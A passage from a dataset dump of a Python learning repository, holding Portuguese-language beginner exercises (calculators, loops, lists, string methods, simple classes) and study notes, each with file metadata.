"src_encoding": "UTF-8", "text": "from datetime import datetime\nclass CarrinhoCompra:\n def __init__(self, num_pedido,o_cliente):\n self.num_pedido = num_pedido\n self.cliente = o_cliente\n self.produtos = list()\n\n def get_num_pedido(self):\n return self.num_pedido\n\n def get_cliente_nome(self):\n return self.cliente.get_nome()\n\n def mostra_carrinho(self):\n print('- Mostra carrinho: ')\n for produto in self.produtos:\n print('Descrição: ',produto.get_descricao)\n" }, { "alpha_fraction": 0.6638655662536621, "alphanum_fraction": 0.6722689270973206, "avg_line_length": 38.66666793823242, "blob_id": "a57872cb86bfb099fbf50ca806e26374fe6ba21a", "content_id": "4761e05c9557a022aecedc8fd2d726e6b3a200fc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 239, "license_type": "permissive", "max_line_length": 88, "num_lines": 6, "path": "/Curso-Em-Video/M1/ex11.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nl = float(input('Digite a largura da parede: '))\nh = float(input('Digite a altura da parede: '))\narea = l * h\ntlitro= area/2\nprint(f'A quantidade de tinta necessaria para limpar uma parede de {area}m é {tlitro}L')\n" }, { "alpha_fraction": 0.6377952694892883, "alphanum_fraction": 0.665354311466217, "avg_line_length": 27.22222137451172, "blob_id": "1662dc7444ba0e77e4dcc228f0f9fd3003e170dc", "content_id": "a0347df1ecb2b5e51359dba37d0a0741c2049985", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 254, "license_type": "permissive", "max_line_length": 80, "num_lines": 9, "path": "/Curso-Em-Video/M1/ex15.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nkm = float(input('Digite a Quantidade de Km rodados: '))\ndia= int(input('Digite a quantidade de dias pelos quais o carro foi alugado: '))\n\ntkm =km * 0.15\ntdia=dia *60.0\ntotal= tkm + tdia\n\nprint(f'O total da viagem foi R${total}')\n" }, { "alpha_fraction": 0.4695121943950653, "alphanum_fraction": 0.48170730471611023, "avg_line_length": 22.4761905670166, "blob_id": "92c1d5d3d825a0ca2fcd017d2106df5c96fde0b7", "content_id": "8cef9c0c6cbd678ff91f477baea8446ebc347afe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 496, "license_type": "permissive", "max_line_length": 50, "num_lines": 21, "path": "/Curso-Em-Video/M3/ex102.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def fatorial(n, show=0):\n \"\"\"\n -> Calcula o Fatorial de um número.\n :param n: O número a ser calculado\n :param show: (opcional) mostra ou não a conta\n :return: O valor de um fatorial de um número n\n \"\"\"\n f = 1\n for i in range(n, 0, -1):\n if show:\n print(i, end='')\n if i > 1:\n print(' x ',end='')\n else:\n print(' = ',end='')\n f*= i\n return f\n\n\nprint(fatorial(6, show=True))\nhelp(fatorial)" }, { "alpha_fraction": 0.5099999904632568, "alphanum_fraction": 0.5600000023841858, "avg_line_length": 15.666666984558105, "blob_id": "56800f950dd9baaf5efe8bd2cee5b6a48da2f7d3", "content_id": "2132dbc8956c161e542d5852fb530421428a48a5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 200, "license_type": "permissive", "max_line_length": 47, "num_lines": 12, "path": "/Curso-Em-Video/M1/ex23.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn =str(input('Digite um numero de 0 a 9999: '))\n\nu =n[3]\nd =n[2]\nc =n[1]\nm =n[0]\n\nprint(f'unidades:{u}')\nprint(f'Dezenas: {d}')\nprint(f'Centenas: {c}')\nprint(f'Milhares: {m}')\n" }, { "alpha_fraction": 0.6019999980926514, "alphanum_fraction": 0.6259999871253967, "avg_line_length": 30.28125, "blob_id": "8cca38c5d77e2d009c8c53b0bb747e0cd8da96bc", "content_id": "7a8c7c964f82fae01cb8f61076e92cfd09c0ed48", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1005, "license_type": "permissive", "max_line_length": 66, "num_lines": 32, "path": "/Curso-Em-Video/M3/mod110.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def aumentar(preco =0, taxa=0, formato=False):\n res = preco + (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef diminuir(preco = 0 , taxa=0, formato=False):\n res = preco - (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef dobro(preco =0, formato=False):\n res = preco * 2\n return res if formato is False else moeda(res)\n\n\ndef metade(preco =0, formato=False):\n res = preco/ 2\n return res if formato is False else moeda(res)\n\ndef moeda(preco =0, moeda ='R$', format=False):\n return f'{moeda}{preco:.2f}'.replace('.',',')\n\ndef resumo(preco, au, red):\n print('-' * 40)\n print('RESUMO DO VALOR'.center(40))\n print('-'*40)\n print(f'A Preço analiisado:\\t\\t{preco}')\n print(f'Dobro do Preço:\\t\\t\\t{dobro(preco, True)}')\n print(f'Metade do preço:\\t\\t{metade(preco)}')\n print(f'{au}% de Aumento:\\t\\t\\t{aumentar(preco, au, True)}')\n print(f'{red}% de Redução:\\t\\t\\t{diminuir(preco, red, True)}')\n print('-' * 40)" }, { "alpha_fraction": 0.4819277226924896, "alphanum_fraction": 0.5180723071098328, "avg_line_length": 28.049999237060547, "blob_id": "20d1ac2bb1c635cfed5ebe3844e88b19b4bbc867", "content_id": "94482a9b940193b547e34b54da2499ed59a76da1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 582, "license_type": "permissive", "max_line_length": 74, "num_lines": 20, "path": "/Curso-Em-Video/M2/ex69.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nprint('\\n Cadastre uma pessoa')\nmaior = 0\nh = 0\nmm20 = 0\nwhile True:\n idade = int(input('Idade:'))\n sexo = str(input('Sexo: [M/F] ')).upper()\n op = str(input('Deseja continuar?[S/N] ')).upper()\n if idade > 18:\n maior +=1\n if sexo == 'M':\n h += 1\n if sexo =='F' and idade < 20:\n mm20+=1\n if op =='N':\n print(f'\\n O total de pessoas com mais de 18 anos é {maior}'\n f'\\n Ao todo temos {h} homens cadastrados'\n f'\\n E temos {mm20} mulheres com menos de 20 anos de idade')\n break\n" }, { "alpha_fraction": 0.5511810779571533, "alphanum_fraction": 0.5649606585502625, "avg_line_length": 32.86666488647461, "blob_id": "a4f53c4fdf385e46c6984fc203d7371fb706bb14", "content_id": "f2c3c9ac27027e84044293d1fc809a03e3a53206", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 518, "license_type": "permissive", "max_line_length": 61, "num_lines": 15, "path": "/Curso-Em-Video/M2/ex37.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn = int(input('Digite um valor para ser convertido: '))\nop= int(input(\"\"\"Escoolha uma opção para converter a base:\n \\n [1] - Binarios\n \\n [2] - Octal\n \\n [3] - Hexadecimal\n \"\"\"))\nif op == 1:\n print('O número {} em binario é {}'.format(n,bin(n)))\nelif op == 2:\n print('O número {} em octal é {}'.format(n,oct(n)))\nelif op ==3:\n print('O número {} em hexadecimal é {}'.format(n,hex(n)))\nelse:\n print('Opção invalida, por favor tente novamente.')\n" }, { "alpha_fraction": 0.6120689511299133, "alphanum_fraction": 0.6206896305084229, "avg_line_length": 37.66666793823242, "blob_id": "520eabad2910186712a5a48ca919f6e748dce26c", "content_id": "ce8926c2052056900f07abb88675ac9ffb6db6ab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 118, "license_type": "permissive", "max_line_length": 49, "num_lines": 3, "path": "/Curso-Em-Video/M1/ex25.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nnome = str(input('Digite o seu nome completo: '))\nprint(\"Você é um silva? \",'Silva'in nome)\n" }, { "alpha_fraction": 0.6569873094558716, "alphanum_fraction": 0.6823956370353699, "avg_line_length": 38.35714340209961, "blob_id": "021afcd0b4535e769b8e8f4bd91960e538699b98", "content_id": "81097dd0412ae34f79cc996f0789ea0b0873e84f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 554, "license_type": "permissive", "max_line_length": 94, "num_lines": 14, "path": "/Curso-Em-Video/M2/ex36.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nvalor = float(input('Digite o valor da casa: '))\nsal = float(input('Digite o valor do seu salario: '))\nqtd_anos =int(input('Em quantos anos você pretende pagar?'))\n\nparcela = valor/(qtd_anos*12)\nlim = sal + (sal * 30/100)\n\nif parcela > lim:\n print(f'O valor do emprestimo execedeu 30% por tanto não é pssivel realizar o emprestimo')\nelif parcela == lim:\n print(f'O emprestimo foi aprovado, com {qtd_anos*12} parcelas de {parcela} ')\nelse:\n print(f'O emprestimo foi aprovado, com {qtd_anos*12} parcelas de {parcela} ')\n" }, { "alpha_fraction": 0.529540479183197, "alphanum_fraction": 0.5437636971473694, "avg_line_length": 26.66666603088379, "blob_id": "06e6df70ce73709c5e7dc64ae7f23e3c906eb148", "content_id": "167b71f493e9b1f2db2a853fb1fe04c44e0e6fc4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 914, "license_type": "permissive", "max_line_length": 59, "num_lines": 33, "path": "/Curso-Em-Video/M3/ex84.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ntotal = list()\npeoples = list()\ngreat = 0\nlower = 0\nwhile True:\n name = str(input('Digite o nome: '))\n peoples.append(name)\n wheigth = float(input('Digite o peso da pessoa: '))\n peoples.append(wheigth)\n if len(total) == 0:\n great = lower = peoples[1]\n else:\n if peoples[1] > great:\n great = peoples[1]\n if peoples[1] < lower:\n lower = peoples[1]\n total.append(peoples[:])\n peoples.clear()\n option = str(input('Deseja continuar? [S/N] ')).upper()\n if option == 'N':\n break\nprint(f'\\n A lista formada foi: {total}'\n f'\\n No total de :{len(total)} pessoas')\nprint(f'O maior peso foi {great} do ',end='')\nfor p in total:\n if p[1] == great:\n print(f'[{p[0]}]', end=' ')\nprint()\nprint(f'O menor peso foi de {lower} do ',end='')\nfor p in total:\n if p[1] == lower:\n print(f'[{p[0]}]', end=' ')\n\n" }, { "alpha_fraction": 0.6265060305595398, "alphanum_fraction": 0.6578313112258911, "avg_line_length": 26.66666603088379, "blob_id": "99275e2fadd4c26baf2143d148cb5c387d16a2a0", "content_id": "bf28d5b07f96b411deb00d2483ef8bde2dab2cd3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 429, "license_type": "permissive", "max_line_length": 90, "num_lines": 15, "path": "/Curso-Em-Video/M1/oparitmeticos.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n-> + soma\n-> - subração\n-> * multiplicação\n-> / divisão\n-> // divisão inteira\n-> % módulo\n-> ** potencia\n* A ordem de precedencia é a mesma da matematica.\n* formatação com print\n{:>20}.format(string) -> alinhamento a direita com 20 espaços\n{:^20}.format(string) -> Centralizado em 20 espaços\n{:=^20}.format(string) -> centraliza em 20 espaçoos prenchendo os que estão vazios com '='\n\"\"\"\n" }, { "alpha_fraction": 0.6034482717514038, "alphanum_fraction": 0.6231527328491211, "avg_line_length": 35.90909194946289, "blob_id": "38be3ece68c0b57037e3460215f188aa1b6b61f4", "content_id": "85d2bee4fdbfa702ffe50b531252b0a84f7bca6e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 413, "license_type": "permissive", "max_line_length": 90, "num_lines": 11, "path": "/Curso-Em-Video/M2/ex58.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport random\nc = 0\nn = int(input('Digite um número: '))\npc = random.randint(0,10)\nwhile n != pc:\n print(f'O Numero que eu pensei era {pc} e você disse {n} infelizmente você errou!!')\n pc = random.randint(0,10)\n n = int(input('Tente novamente, digite um número: '))\n if n == pc:\n print(f'O Numero que eu pensei era {pc} e você disse {n} Parabéns você acertou!!')\n" }, { "alpha_fraction": 0.5664335489273071, "alphanum_fraction": 0.6013985872268677, "avg_line_length": 34.75, "blob_id": "e73313134b525391d0a77843a90c3d9c54c64695", "content_id": "1fbe100b9c5d741b612a3c5e0fa1d0966c6df251", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 146, "license_type": "permissive", "max_line_length": 50, "num_lines": 4, "path": "/Curso-Em-Video/M1/ex12.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\np = float(input(\"Digite o preço do produto: \"))\ndesc = p - (p*0.05)\nprint(f'O novo preço com 5% de desconto é {desc}')\n" }, { "alpha_fraction": 0.4898785352706909, "alphanum_fraction": 0.5506072640419006, "avg_line_length": 26.44444465637207, "blob_id": "9b9c0431b7ed882477544e351c455de21f7d159c", "content_id": "799787dd283a5310ad6743ae7c6d7dd5630ce025", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 251, "license_type": "permissive", "max_line_length": 53, "num_lines": 9, "path": "/Curso-Em-Video/M1/ex34.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nsal = float(input('Digite o valor do seu salário: '))\n\nif sal > 1250:\n nsal = sal + (sal * (10/100))\n print(f'O novo salario é : {nsal}')\nelse:\n nsal = sal +(sal * (15/100))\n print(f'O novo salário é : {nsal}')\n" }, { "alpha_fraction": 0.8142292499542236, "alphanum_fraction": 0.8142292499542236, "avg_line_length": 24.399999618530273, "blob_id": "1d76a0079037fedfed9aff7a88a24c90209932a1", "content_id": "36333281e9e4865207c3bf4774bbe9190387a62b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 255, "license_type": "permissive", "max_line_length": 40, "num_lines": 10, "path": "/PythonPOO/Associacao/main.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from Escritor import Escritor\nfrom Escritor import Caneta\nfrom Escritor import MaquinaDeEscrever\n\nescritor = Escritor('Joseph')\ncaneta = Caneta('Bic')\nMaquina = MaquinaDeEscrever()\n\nescritor.ferramenta = caneta #associação\nescritor.ferramenta.escrever()" }, { "alpha_fraction": 0.5584415793418884, "alphanum_fraction": 0.6883116960525513, "avg_line_length": 25, "blob_id": "c0ea85eac8565774b49df79cbf56785fc640aaec", "content_id": "387d12ea5e4300655db3ebf011687244c0a0efa9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 77, "license_type": "permissive", "max_line_length": 38, "num_lines": 3, "path": "/Curso-Em-Video/M3/ex111.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import mod111\np = float(input('Digite o preco: R$'))\nmod111.resumo(p, 80 ,35)" }, { "alpha_fraction": 0.5027777552604675, "alphanum_fraction": 0.5333333611488342, "avg_line_length": 26.69230842590332, "blob_id": "23bf5b79bcf1f502d6ec3e3ba88a47d0c31f6a99", "content_id": "72676b31d1fbbcbe1f29f285cdf473f94e2b84bb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "permissive", "max_line_length": 51, "num_lines": 13, "path": "/Curso-Em-Video/M3/ex85.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ntotal = [[],[]]\ncount = 1\nfor i in range(1,8):\n value=(int(input(f'Digite o {count} valor: ')))\n count += 1\n if value % 2 == 0:\n total[0].append(value)\n else:\n total[1].append(value)\nprint(f'\\n A lista formada é {total}'\n f'\\n A lista dos pares é {total[0]}'\n f'\\n A lista dos ímpares é {total[1]}')\n" }, { "alpha_fraction": 0.5869565010070801, "alphanum_fraction": 0.6231883764266968, "avg_line_length": 33.5, "blob_id": "d8e7618605befcb79ed63cde56b807daa551272d", "content_id": "835686a999f8be1a764f1738aac05fddc78cbf6e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 139, "license_type": "permissive", "max_line_length": 53, "num_lines": 4, "path": "/Curso-Em-Video/M1/ex14.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nt = float(input('Digite a temperatura em celsius: '))\nf =((t*9)/5)+32\nprint(f'A temperatura em fahrenheir é {f}')\n" }, { "alpha_fraction": 0.39340659976005554, "alphanum_fraction": 0.42527472972869873, "avg_line_length": 30.310344696044922, "blob_id": "41db0192908e330299275338f20779b1a8a6c68a", "content_id": "3e3d1beec2d915ec19f59944bef82228866ad7eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 919, "license_type": "permissive", "max_line_length": 58, "num_lines": 29, "path": "/Curso-Em-Video/M2/ex59.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nmaior = 0\nop = 0\nn1 = int(input('Digite o primeiro número: '))\nn2 = int(input('Digite o segundo número: '))\nwhile op != 5:\n op = int(input('O que deseja fazer?'\n '\\n[1] -> somar'\n '\\n[2] -> multiplicar'\n '\\n[3] -> maior'\n '\\n[4] -> novos números'\n '\\n[5] -> sair do programa'))\n if op == 1:\n s =n1+n2\n print(f' {n1} + {n2} = {s}')\n elif op == 2:\n m = n1 * n2\n print(f' {n1} X {n2} = {m}')\n elif op == 3:\n if n1> n2:\n maior = n1\n print(f'O Maior número é {maior}')\n else:\n maior = n2\n print(f'O maior número é {maior}')\n elif op== 4:\n print('\\n Escolha novos números')\n n1 =int(input('Digite o primeiro numero: '))\n n2 =int(input('Digite o segundo número: '))\n\n\n" }, { "alpha_fraction": 0.6186612844467163, "alphanum_fraction": 0.6384381055831909, "avg_line_length": 36.92307662963867, "blob_id": "8febc055639483f1bc5e48143d8a41ffb7a2df10", "content_id": "3343b3bac8db2e981ae188239addcf634e742bcd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1990, "license_type": "permissive", "max_line_length": 107, "num_lines": 52, "path": "/Curso-Em-Video/M1/strings.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n* podemos fatiar uma string da seguinte maneira:\n -> frase = 'curso em video python'\n -> cada letra representa um espaço na memoria no total temos 21(contando com os espaços)\n frase[9:21]\n -> o Comando a cima indica que queremos mostra do espaço nove até o 20(o ultimo sempre é ignorado)\n frase[9:21:2]\n -> o terceiro parametro indica que iremos percorrer de 9 a 20 de 2 em 2 casas\n frase[:5]\n -> do 0 até o 4\n frase[15:]\n -> do 15 até o fim\n fase[3::9]\n -> de 3 a 9 pulando de 3 em 3\n* funções\n # len(frase)\n -> mostra a quantidade de caracteres que a string possui(neste caso 21)\n # frase.count('o')\n -> conta a quantidade de caracteres 'o' existem dentro da string\n -> Podemos usar o fatiamento adicionando mais dois parametros ex: fase.cont('o',0,13)\n conte 'o' de 0 a 13\n # fase.find('deo')\n -> mostra o numeros da string relacionados aos caracteres especificados, em outras palavras\n em que numero começa a sequencia 'deo' caso o parametro não exista na string a função retornra\n -1\n # 'curso' in frase\n -> verifica se existe a string curso em frase\n #fase.replace('python','android')\n -> troca o primeiro parametro pelo segundo\n # fase.lower()\n -> deixa minusculo\n #fase.upper()\n -> deixa maiusculo\n\n #fase.capitalize()\n -> deixa apenas o primeiro caracter maiusculo\n\n #frase.title()\n -> A primeira letra de todas as palavras da string será maiscula\n #frase.strip()\n -> remove os espaços vazios no inicio e no fim da string\n -> lstrip remove os espaços da esquerda\n #frase.split()\n -> gera uma lista com as palavras separadas entre espaços da string\n #'-'.join(frase)\n -> transfor uma lista em uma string única, o que vem antes do ponto ficara entre as strings unidas.\n\n\n\"\"\"\nfrase = 'Curso em video python'\nprint(frase.count('O'))\n" }, { "alpha_fraction": 0.5609756112098694, "alphanum_fraction": 0.5640243887901306, "avg_line_length": 26.33333396911621, "blob_id": "b4dca977fc4cda14d7d023893c1954ebbaee2886", "content_id": "ecfa88f8c2f23c82e02fda2a7849d2da9467b6cf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 329, "license_type": "permissive", "max_line_length": 55, "num_lines": 12, "path": "/Curso-Em-Video/M3/ex79.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nvetor = []\nwhile True:\n n = int(input('Digite um numero: '))\n if n not in vetor:\n vetor.append(n)\n else:\n print('valor Duplicado não irei adicionar!!!')\n op = str(input('Deseja continuar? [S/N] ')).upper()\n if op == 'N':\n break\nprint(f'O vetor gerado foi: {sorted(vetor)}')\n" }, { "alpha_fraction": 0.5995423197746277, "alphanum_fraction": 0.6384439468383789, "avg_line_length": 26.3125, "blob_id": "f0492d1f47b1882261f13fe6945d120d3f87ba3b", "content_id": "dd727ad58de3232e65accf9dc9606a0de69580d9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 442, "license_type": "permissive", "max_line_length": 87, "num_lines": 16, "path": "/Curso-Em-Video/M2/ex39.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\nnas = int(input('Digite o ano de seu nascimento: '))\nano = 2020\n\nidade = ano - nas\n\nif idade < 18:\n falta = 18 - idade\n print(f'você tem {idade} anos, ainda faltam {falta} anos para você se alistar')\nelif idade > 18:\n passou = idade - 18\n print(f'Você tem {idade} anos, está {passou} anos atrazado para o seu alisamento!')\nelif idade == 18:\n print(f'Você tem 18 anos deve se alista esse ano!!!')\n" }, { "alpha_fraction": 0.37755101919174194, "alphanum_fraction": 0.43877550959587097, "avg_line_length": 23.75, "blob_id": "1993cf095f6a146a890134f291cf8a1e55b846dd", "content_id": "c4dba121655235fb54688e7e5f77008d5161f7f2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 98, "license_type": "permissive", "max_line_length": 36, "num_lines": 4, "path": "/curso_monitoria/for_encadeado.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "for i in range(11):\n for j in range(11):\n print(i, \"x\", j,\" = \",i * j)\n print(\"=\"*30)" }, { "alpha_fraction": 0.5861618518829346, "alphanum_fraction": 0.5900783538818359, "avg_line_length": 23.74193572998047, "blob_id": "eeb21f2c3f7532cc278498bbcc77aee4b314fbe8", "content_id": "32ceb3a1f9a57f0558070eef83822de2a96ce72e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 767, "license_type": "permissive", "max_line_length": 57, "num_lines": 31, "path": "/PythonPOO/Encapsulamento.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\nPublic, protected, private\n_ protected(public _)\n__ private (_NOMECLASSE__NOMEATRIBUTO)\n\"\"\"\nclass BaseDeDados:\n def __init__(self):\n self.__dados = {}\n\n @property\n def dados(self):\n return self.__dados\n\n def inserir_cliente(self, id, nome):\n if 'clientes' not in self.__dados:\n self.__dados['clientes'] = {id: nome}\n else:\n self.__dados['clientes'].update({id: nome})\n\n def lista_clientes(self):\n for id, nome in self.__dados['clientes'].items():\n print(id, nome)\n\n def apaga_cliente(self, id):\n del self.__dados['clientes'][id]\n\nbd = BaseDeDados()\nbd.inserir_cliente(1,'Otávio')\nbd.inserir_cliente(2, 'Miranda')\nbd.inserir_cliente(3, 'Rose')\nprint(bd.lista_clientes())" }, { "alpha_fraction": 0.5862069129943848, "alphanum_fraction": 0.5862069129943848, "avg_line_length": 24, "blob_id": "cee28ddea1233343d46cce013c0f4aff59d33499", "content_id": "967f7b2fbc20c64885e7524ffc93f5e454e6687b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 174, "license_type": "permissive", "max_line_length": 52, "num_lines": 7, "path": "/curso_monitoria/matriz.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "print(\"Vamos criar um tabuleiro de tamanho: N x N\")\nn=int(input(\"Valor de N: \") )\n\nfor linha in range(n):\n for coluna in range(n):\n print(\"x \",end='')\n print()" }, { "alpha_fraction": 0.5786119103431702, "alphanum_fraction": 0.5864022374153137, "avg_line_length": 26.173076629638672, "blob_id": "7cae4040ebcc59c78deceb6ca3226800caf0bc5d", "content_id": "4878bfb9a5b8bf48668008186a30a0a153c0b6d8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1437, "license_type": "permissive", "max_line_length": 97, "num_lines": 52, "path": "/Geek-University/Seção3/Boas Praticas.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\n# Index of python enhacement proposals(PEPS)\n -> São propostas de melhoria para a linguagem python\n The Zen of python\n import this\n A ideia da PEP8 é que possamos escrever códigos Phython de forma pythônica.\n\n [1] - Utilize camel case para nomes de classes;\n\n Class Calculadora:\n pass\n\n Class CalculadoraCientifica:\n pass\n\n [2] - Utilize nomes em minusculo, separados por underline para funções e variaveis;\n\n def soma():\n pass\n\n def soma_dois():\n pass\n\n numero = 4\n\n numero_impar = 5\n\n [3] - Utilize 4 espaços para indentação!(não use tab)\n if 'a' in 'banana':\n print(team)\n\n [4] - Linas em branco\n - Separar funções e definições de classe com duas linhas em branco;\n - Métodos deentro de uma classe devem ser separados com uma única linha em branco;\n\n [5] - Imports\n - Imports devem ser sempre feitos em linhas separadas;\n - Os imports devem ser colocados no topo do arquivo, antes de qualquer variavel ou função\n import sys\n import os\n\n ou\n fom types import (\n StringType,\n ListType,\n SetType,\n OutroType\n )\n [6] - Não coloque espaço entre expressões e instruções\n\n [7] - Termine sempre uma instrução com uma nova linha\n\"\"\"" }, { "alpha_fraction": 0.5179855823516846, "alphanum_fraction": 0.5251798629760742, "avg_line_length": 23.52941131591797, "blob_id": "a220ee98083fe59318af6cb5fb93fb04c36339a0", "content_id": "b34ebbf1610efa3662f245a7e51d2565bc90f3aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 420, "license_type": "permissive", "max_line_length": 54, "num_lines": 17, "path": "/Curso-Em-Video/M3/ex82.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nvetor = []\npar = []\nimpar = []\nwhile True:\n n = int(input('Digite um número: '))\n vetor.append(n)\n op = str(input('Deseja continuar? [S/N]')).upper()\n if n % 2 ==0:\n par.append(n)\n else:\n impar.append(n)\n if op == 'N':\n break\nprint(f'\\n O vetor gerado foi:{vetor}'\n f'\\n Os números pares foram: {par}'\n f'\\n Os números impares foram: {impar}')\n" }, { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7615384459495544, "avg_line_length": 31.75, "blob_id": "e6c45cc80c56ae7d0a29c605b874677f05aeff0e", "content_id": "b2984e79705e76a523ac0c40ff26d45a530332f6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 130, "license_type": "permissive", "max_line_length": 45, "num_lines": 4, "path": "/Curso-Em-Video/M3/utilidadecev/teste.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from utilidadecev import moeda\nfrom utilidadecev import dado\np = dado.leiaDinheiro('Digite o preco: R$ ')\nmoeda.resumo(p, 80 ,35)" }, { "alpha_fraction": 0.6511500477790833, "alphanum_fraction": 0.6670317649841309, "avg_line_length": 41.44186019897461, "blob_id": "2e470eb0fb67a798de2af3e7f8ab59e8344d2f76", "content_id": "034cd7ba0a2598eae0fb54c86ef5551d060b9137", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1837, "license_type": "permissive", "max_line_length": 135, "num_lines": 43, "path": "/Curso-Em-Video/M3/listas.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n#Listas são variaveis compostas mutaveis\n * Podemos adicionar itens a uma lista com o cumando append()\n ex: lista.append('x') -> adiciona o elemento 'x' na lista\n * Podemos definir onde será adicionado o novo item com o comando insert()\n ex: lista.insert(0,'x') -> adicion o elemento 'x' na posição 0 da lista\n * Podemos apagar intens de uma lista com o comando del, pop ou remove\n ex: - del lista[x] -> deleta o elemento xº elemento da lista.\n - lista.pop(x) -> deleta o xº elemento da lista, caso não receba nenhum parametro o ultimo elemento da lista será deletado.\n - lista.remove('x') deleta o VALOR 'x' da lista.\n\n * Podemos utilizar os operadore if in para verificar a existencia\n de determinados itens na lista.\n\n * Podemos utilizar o range para criar uma lista.\n ex: lista = list(range(4,11)) -> gera a lista :[4,5,6,7,8,9,10]\n OBS: o enumerate também funciona em listas\n\n * Podemos utilizar o metodo sort para ordenar os valores de uma lista\n ex: lista.sort()\n obs: caso queia a ordem inversa utilize o parametro reverse =True\n ex: lista.sort(reverse=True)\n * Podemos usar o len para contar os elementos de uma lista\n ex: lista.len()\n\"\"\"\nnum = [2,5,9,1]\nprint(num)\nnum[2] = 3\nprint(num)\nnum.append(2)\nprint(num)\nnum.remove(2)#remover ira remover o 